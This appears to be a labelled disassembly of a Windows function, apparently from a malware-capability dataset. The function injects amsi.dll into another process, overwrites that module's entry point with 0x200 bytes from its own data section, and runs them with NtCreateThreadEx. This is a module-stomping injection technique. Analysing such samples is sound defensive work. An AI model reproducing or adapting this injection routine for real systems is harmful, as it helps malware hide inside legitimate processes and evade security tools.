Function at 0x1400110aa
Capabilities:
Create thread
Enumerate process modules
Inject dll
Inject thread

Disassembly:
jmp 0x140014f20
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x11e0
call fcn.14001113b
sub rsp, rax
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x310
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1208]
mov rax, qword [0x140025278]
xor rax, rbp
mov qword [rbp + 0x1178], rax
lea rcx, [0x14002b1ba]
call fcn.140011681
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x88], 0x30
mov qword [rbp + 0x90], 0
lea rax, [rbp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xf8], 0
lea rax, [rbp + 0x118]
lea rcx, str.C:windows_system32_amsi.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x3a
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov qword [rbp + 0x998], 0x800
mov dword [rbp + 0x9b4], 0
mov dword [rbp + 0x9d4], 0
mov qword [rbp + 0x9f8], 0
lea rax, [rbp + 0xa20]
mov rdi, rax
xor eax, eax
mov ecx, 0x80
rep stosb byte [rdi], al
mov qword [rbp + 0xab8], 0
mov edx, 0x1ff
lea rcx, section..data
call fcn.1400113b6
mov r8d, dword [rbp + 0x11a0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xd8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x3a
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x3a
lea r8, [rbp + 0x118]
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xad8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xad8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xaf8], rax
mov edx, 0x3e8
mov rcx, qword [rbp + 0xaf8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rbp + 0x9b4]
mov r8d, dword [rbp + 0x998]
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0xd8]
call fcn.14001109b
mov eax, dword [rbp + 0x9b4]
xor edx, edx
mov ecx, 8
div rcx
mov qword [rbp + 0x9f8], rax
mov qword [rbp + 0xb18], 0
jmp 0x14001518a
mov rax, qword [rbp + 0xb18]
inc rax
mov qword [rbp + 0xb18], rax
mov rax, qword [rbp + 0x9f8]
cmp qword [rbp + 0xb18], rax
jae 0x140015280
mov rax, qword [rbp + 0xb18]
mov rax, qword [rbp + rax*8 + 0x180]
mov qword [rbp + 0xab8], rax
mov r9d, 0x80
lea r8, [rbp + 0xa20]
mov rdx, qword [rbp + 0xab8]
mov rcx, qword [rbp + 0xd8]
call fcn.140011037
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x1138]
call fcn.1400112ee
mov qword [rbp + 0x1168], rax
lea rdx, str.amsi.dll
mov rcx, qword [rbp + 0x1168]
call fcn.1400113c5
test eax, eax
jne 0x140015211
mov dword [rbp + 0x1170], 1
jmp 0x14001521b
mov dword [rbp + 0x1170], 0
movzx eax, byte [rbp + 0x1170]
mov byte [rbp + 0x1114], al
lea rcx, [rbp + 0x1138]
call fcn.140011140
movzx eax, byte [rbp + 0x1114]
test eax, eax
je 0x14001527b
lea rdx, [rbp + 0xa20]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
lea rdx, str._at
mov rcx, rax
call fcn.1400110c8
mov rcx, qword [rbp + 0xb18]
mov rdx, qword [rbp + rcx*8 + 0x180]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
jmp 0x140015280
jmp 0x140015179
mov dword [rbp + 0xb34], 0x1000
mov eax, dword [rbp + 0xb34]
mov qword [rbp + 0x1168], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x1168]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0xb58], rax
mov eax, dword [rbp + 0xb34]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xb58]
mov rdx, qword [rbp + 0xab8]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rbp + 0xb58]
mov qword [rbp + 0xb78], rax
mov rax, qword [rbp + 0xb78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xb58]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xb98], rax
mov rax, qword [rbp + 0xb98]
mov eax, dword [rax + 0x28]
add rax, qword [rbp + 0xab8]
mov qword [rbp + 0xbb8], rax
lea rdx, str.__entryPoint_at
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
mov rdx, qword [rbp + 0xbb8]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, section..data
mov rdx, qword [rbp + 0xbb8]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0xbb8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xd8]
lea r8, [rbp + 0x88]
mov edx, 0x1fffff
lea rcx, [rbp + 0x68]
call qword [rbp + 0x48]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140015414
mov edx, dword [rbp + 0x24]
lea rcx, str.____failed_to_create_thread__error:_0x_lx_n
call fcn.140011320
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001ff88]
call fcn.14001157d
mov eax, edi
mov rcx, qword [rbp + 0x1178]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x1180]
pop rdi
pop rsi
pop rbp
ret